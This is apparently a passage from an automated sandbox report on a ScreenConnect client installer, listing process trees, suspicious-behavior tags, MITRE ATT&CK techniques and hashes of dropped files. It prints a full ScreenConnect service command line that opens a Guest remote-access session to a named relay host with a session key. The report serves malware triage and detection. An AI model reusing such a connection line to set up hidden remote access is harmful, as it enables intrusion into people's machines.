  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3176,i,1742267227016367339,9593343509871178960,2097152 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3228 /prefetch:1
  2⤵
  PID:2504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4420,i,12664353064294615038,11788718281653872210,2097152 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4396 /prefetch:2
  2⤵
  PID:5300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5336,i,12767003032729505032,13029433677688414979,524288 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5340 /prefetch:8
  2⤵
  PID:1316
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5444,i,1743954290744633357,8070959887904966818,524288 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5716 /prefetch:8
  2⤵
  PID:3468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5756,i,7797686276640013239,4789356307166243779,524288 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5732 /prefetch:8
  2⤵
  PID:3244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5748,i,1258656852441463524,3657447058588666811,524288 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5336 /prefetch:8
  2⤵
  PID:4228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=208,i,9103558778264671750,10708859082932167186,524288 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5548 /prefetch:8
  2⤵
  PID:5020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5768,i,235152094824034789,6734778981886017055,2097152 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=728 /prefetch:1
  2⤵
  PID:2720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5764,i,8788468419723427672,13598225335640560282,2097152 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5572 /prefetch:1
  2⤵
  PID:3796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6128,i,2151675411352324418,12152779767747126700,2097152 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6100 /prefetch:1
  2⤵
  PID:5072
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5880,i,11353709297971554101,12394095032252993306,2097152 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3164 /prefetch:1
  2⤵
  PID:5816
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=3288,i,8230340387474880169,3682259991534062717,524288 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3276 /prefetch:8
  2⤵
  PID:2644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3140,i,2699151502534107012,17752873489471140273,524288 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3332 /prefetch:8
  2⤵
  - Modifies registry class
  PID:4264
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6492,i,7221916002498005286,16411067410050574544,2097152 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6504 /prefetch:1
  2⤵
  PID:3100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6816,i,10519308314213158679,4614810351330401045,2097152 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6784 /prefetch:1
  2⤵
  PID:3668
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6948,i,17151962684829575717,7405059928731907814,2097152 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6724 /prefetch:1
  2⤵
  PID:2180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6996,i,4735851795290997594,6283879041229910179,524288 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6432 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6396,i,17586424810567696263,14034967661264620876,262144 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=7044 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4352
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=4584,i,15622576307518317135,15406845133563381035,524288 --field-trial-handle=2000,i,9009686841554954580,12025890316814056257,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1164 /prefetch:8
  2⤵
  PID:2080

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1480

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4848

C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe
"C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5436
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.6.5.9742\4375edbfb991f8ab\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe"
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  PID:4304

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4208
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F74BA72BA2F7993F526D718FFB3491A3 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9D50.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240754140 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3328
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA129.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240755125 10 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    - Badlisted process makes network request
    - Loads dropped DLL
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    PID:4936
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA810.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240756750 17 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1668
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:5208
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FBC914395AB430EAB83EA33E472CE1A0
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2668
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding B51FA9F6CE48708D6CFBBFB55AE09FDC E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:228
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FA892AEB74E4090B52520CF2B49D9498 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIEACF.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240839453 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2512
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIEC47.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240839765 18 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    - Badlisted process makes network request
    - Loads dropped DLL
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    PID:5844
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF1B6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240841156 25 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2088
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A5926196964C6EE559B931F55E98CBBF
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2156

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:5292

C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-pfve05-relay.screenconnect.com&p=443&s=8c2016e2-19f8-4f05-9215-5e14b1c7599a&k=BgIAAACkAABSU0ExAAgAAAEAAQDRgp6dNM4Qcmgszv6xxM2%2f%2fy6m1BicCu%2fkFRqISRObmeXX1eUJTAIDvGmZv1tYGllRtuNDZ1JrplgCP3QI1AN3pqtCheBzJGEF%2bEeQgCeFQ5vf6nfTqtkdMO60gYL7XNK5KM%2f8RoQk7snKudeeFqInUzRt%2bPxrkeDgvgJOAIVQYzllqE5f92TP1GHYQR0KuAccDj92vrRrRnrro2Q7S7CwlQ9wcsbgosvPRTkva9ZgqUAgeZC%2flUT5f%2fHpnebCGmLfWx4NhtrlgjARPHJ1R2mtrxgP27s%2foBZmvdt1VXT%2bHE14uEApNyQrx2JOQaSOTxLX4OR7u0J8JJLFgNUexOC2"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.WindowsClient.exe" "RunRole" "a56072bb-6760-4082-9b8a-5656cae26803" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2216
- C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.WindowsClient.exe" "RunRole" "8122edfd-4fac-47ea-bf7c-0e43b031fbfa" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:1272

C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe
"C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.6.5.9742\4375edbfb991f8ab\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe"
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  PID:5096

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
PID:908

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
1⤵
- System Location Discovery: System Language Discovery
PID:5728

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:6096

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59e43d.rbs

Path C:\Config.Msi\e59e43d.rbs
Size 214KB
SHA256 82eb4474e025d93d5004eb80984395cceaf2efd6bcc30afca75cf0a41a291c23
MD5 c60626ba9225e3f20725bd9cf77490d6
SHA1 94bc406d864eb43d785eab663bb2ed6652078376
SHA512 3021cdb418ee57af4cdf6ef606a5bd8aa24ab50800a1ea6e6cfd64ea021c5f33883e28ff66cc7779f2dbafa73efa0604b83fc57e6afd8f28ff09c0c16e6d3db8
SSDEEP 3072:4u9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGS:4uuH2aCGw1ST1wQLdqvS
TLSH
T198248C227480807EE7FA1A32D93F9A617E7DF6240760C59E83848C1E9D604D16BF7B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e59e43f.rbs

Path C:\Config.Msi\e59e43f.rbs
Size 3KB
SHA256 a5b4b32671cd5d86c0c0103202a11542c69f25acedf6e2ef38c7947ece1c5ac3
MD5 62ce6dd9ce4d9c629343fdd798e0e588
SHA1 3a396c7560812e97eefc44a08f484556b178c192
SHA512 68059480bdc353142dc7a8a510396ab41e391e23d2ee51fbbfe2b5d3da7b74958aaf04e3c1dfa0d35734514073df986dd4c1af15eab432f6a04998ad6f30d1ae
TLSH
T145819B03A744D383ECAA2F31CA1717113B77EAE5C311434B459CA5784E4779A6FEB18A
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.ClientService.dll
Size 92KB
SHA256 78fa9cf69577f6990275c7c472f7114f9d0c85e660f3b9c81b085fc3cfbc8673
MD5 20b930dc08fde485186d7687a48779ab
SHA1 0142109ebe6b95d9704f0954c232fc8ad2f25630
SHA512 a5f612f7aa678cf37d7b2f7bd6c490d192397ea62f6dfe3ec798acef610fb6b252ca073bbda14d2f88c771a0a34260308132ba26de9cdf180a574c0310a83b87
SSDEEP 1536:Vzu1ewsuwDP/2ovANyI9xhpxZUuQOV+eGI0ZUazxvmVRo9dE7h:Vzc2j/BAkI9JXQOVAIAUazxvmVRoTE1
TLSH
T1F6935C4293ECA92BC9DF0E38B461F26106B1B913D9E6E7D46D8860DA2F527C11F1439F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (4375edbfb991f8ab)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 5956f9afb3ba610c38b2cfda88dd15be98783963769a12020c93ce05e749b3c3
MD5 1973034f7b83f666cbd3264bade6e6e5
SHA1 51340eee61b2b3df88bc48060104a32c0f101b4b
SHA512 8a28d7a5e347fe7d7d9977b74eaaaa6ac03ac615ed236235a28d2edb5d2f123945c98b8ea5b7713d3e4d034db580fd530b82c40c98162a7bcb259c2c8b384243
SSDEEP 1536:Lg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgoU0HMB7R:EhbNDxZGXfdHrX7rAc6myJkgoU0Hk1
TLSH
T12B935B13B5C28872D473193158E0DAB09A3FF9615E21DEAB3788022E4F742C1AE75E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111
Size 727B
SHA256 48f34d2ba0f20f10258d492b80299ec91f2e38eebd381a86ebbef40096900f95
MD5 b7bfb15fb76bd6894d14f85a20c7c82b
SHA1 3173a787c07eda4dd71ca0514b6986775ef534e9
SHA512 855f54e8510b426ee0d2eca3b6f831706d019d574c798521928150fbe626f19a975e9ed9944b89821def43a064b26eba3b46879bbce17077fead035a112aba9d
TLSH
T18801651ABA367944EB11C8603D7D8B55B0849052878CC88E6029A6CE99583336F9A314
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 727B
SHA256 a3ae477d9976f7e308c775fea2a8e89c0a7f45315e4e3a11cf255e0d1d0a2389
MD5 6c533a0cf78173f3193cb27e142d9e4c
SHA1 8fecb27e0069ae6cb68d1734588fc8977c5e8b22
SHA512 14820312a2175e38de9200cbb8e4f2630ab8c7b5e59bdac57a22eb7b134a0a69dcd4eed4cd6f16d5bd4fa910c053e6b2d57905ed66ec430fdab1b908ce1160f1
TLSH
T18701946768B8EC027C311502C1EDDBFC3AF9C2701EC04392249106CE8A88E6AC44ECAE
MD5 SHA1 SHA512 TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111
Size 404B
SHA256 60fa83f9b546ea1687ac320ec609a1889b870b3191e4a50aa63c5d9bf45df2eb
MD5 09fb8f549b2d9da9642bf8d07caf2393
SHA1 30b9233db7a95b81d592132b3937ea535b50a761
SHA512 cdbfd653747cbd46b2008309ac643cb0bbec9c7acb41b9159bdf3ace27ecbee37e724b141fd0970ca3a07a2fc47317c7b6c3edd119610fd36d719fa2b550daa5
TLSH
T187E0C63032FA899CF0A1D8348BFABD122CCEF2060885C2691B411381AB9AF018CA2224
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 412B
SHA256 0eb520e90abd7b6cf486efe7b3d4f4c48d1048f05effc5f50048248eaa0b57e2
MD5 fcddcff7907713e0c51d89c6a130d2f6
SHA1 a97bfe407217eb0190b937da8a460439be986f8f
SHA512 4df9e667e365993f79d7d46afa47c2a0dea3ab4bb6408ca8b57430bb9bc6988721f87e091285e05b90bc5fb0397634b0ece22edeb1d60d922f20e70456a0684c
TLSH
T143E0DF3866AFA65EF1A0983546FAA17A1D89F215348497B91AD04308BB0AF009E10AF4
MD5 SHA1 SHA512 TLSH

Submit Download

0301f065-d0b5-480a-ab62-5f65a37221ba.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\0301f065-d0b5-480a-ab62-5f65a37221ba.tmp
Size 131KB
SHA256 17da763c297f9b07a32e71366dd870bdec477452e01362508b36c7d3dc5200f7
MD5 415a6071dab9143f89a2d4f8e7221100
SHA1 3572bd26af29ecdc1314063ff9599766105716c5
SHA512 29d888c692938a2bf49c1dbc52b283dcff94f59c7f5d8068cfeeb4765c8da37500ac3466842d3f7d176441267e9e61a4f8445883ceb8c81c77ac9a6fac213e7e
SSDEEP 3072:7g+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+gB:7g+hFD+7t56OD9ZfSApprB
TLSH
T191D31232AA95D8B7C9FD6541A147A300CE76ACED45DE3A09444A4F8ED09F94C07B3A37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

216bb50e-1de1-4dba-bbae-545bc67227e4.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\216bb50e-1de1-4dba-bbae-545bc67227e4.tmp
Size 131KB
SHA256 c5db828562c2b7496b42c5a0717dba5b1d0918e5717e89c9938f45caab50adb4
MD5 9a7c8085834a2bff1598c8986cc9d680
SHA1 8fd0e5d9f158d54ea8aeec96cf454691ad7cd54f
SHA512 6fb5a3ba024a75dc398f0ee9153a2c2438e21b0c72ae45b4e1dc998d39fca0dd62bf09ce0e01030f5735c012bbf9dd3124c59d2a3d5faa2d864f574140db9b72
SSDEEP 3072:v8Ua+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+gB:vva+hFD+7t56OD9ZfSApprB
TLSH
T110D31232A955DCB7C9FC7541E147A300CD7668ED85DE3A09444A5F8E909F94C07B3A37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2aecebd8-1e11-4685-9bb6-09cf6b4c65e4.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\2aecebd8-1e11-4685-9bb6-09cf6b4c65e4.tmp
Size 130KB
SHA256 320cae037e17e3abf44a7a4b55696f967037ad36c67f078b874e00c524f50c45
MD5 efcdd5d8a33021d0ed9fc80365583b98
SHA1 45873cf2bb2be324ae2e90fa02829796982bc339
